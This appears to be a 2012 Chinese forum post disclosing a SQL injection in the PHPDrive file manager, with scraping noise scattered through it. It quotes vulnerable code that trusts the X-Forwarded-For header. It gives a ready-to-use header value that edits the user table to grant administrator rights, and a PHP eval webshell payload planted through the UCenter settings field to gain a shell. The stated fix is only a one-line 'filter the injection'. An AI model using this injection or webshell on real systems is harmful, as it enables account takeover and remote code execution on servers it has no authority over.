找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2388|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
7 _  f& m8 o- g3 g0 _' T, u& Z. f
* z, n0 v; T, ?( }- z- o! H8 E, rincludes/user.lib.php' A8 N2 y: j0 H1 d1 ]" U
行87$ _" L8 ~( s# X& M, w; L
function get_ip() {
6 G  b* ~) q/ Y8 P6 C if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.0 j2 c, J2 \* ]2 i+ W1 W
在用户注册与登录 处module/disk/account.lead.php
) B; d, ~1 h9 e5 D198行 % {! d& `. {7 t, ]. _
//更新本次登录IP和时间
# T  ]: I5 [8 o7 v* ~             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
* [2 O6 E/ b& S3 h5 O4 T% H$ \由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
7 N+ E  t% C9 w* k实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
7 l0 a6 _! E- u! T2 L/ f3 Y' Y后台getshell:8 O* \9 ~5 @. U9 D
在UCenter设置处,将UC数据库登录名填写为5 Q4 c4 |1 x/ e% `1 i+ P! B( o

/ l. Q% n/ @. r8 S9 B5 a/ Y, lroot’);eval($_POST[DisKill]);?>/** M- ?4 b7 A) F; @2 X4 O
可以得到一个shell,位置在 data/uc.data.php
( k) X, _9 J# T" N0 q  T
7 e' I/ J. d/ Z8 c9 ?修复:过滤注入
8 B$ ~, l$ ~: ?; R2 s6 s4 Y* d1 X* N% s) N% r7 T' Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表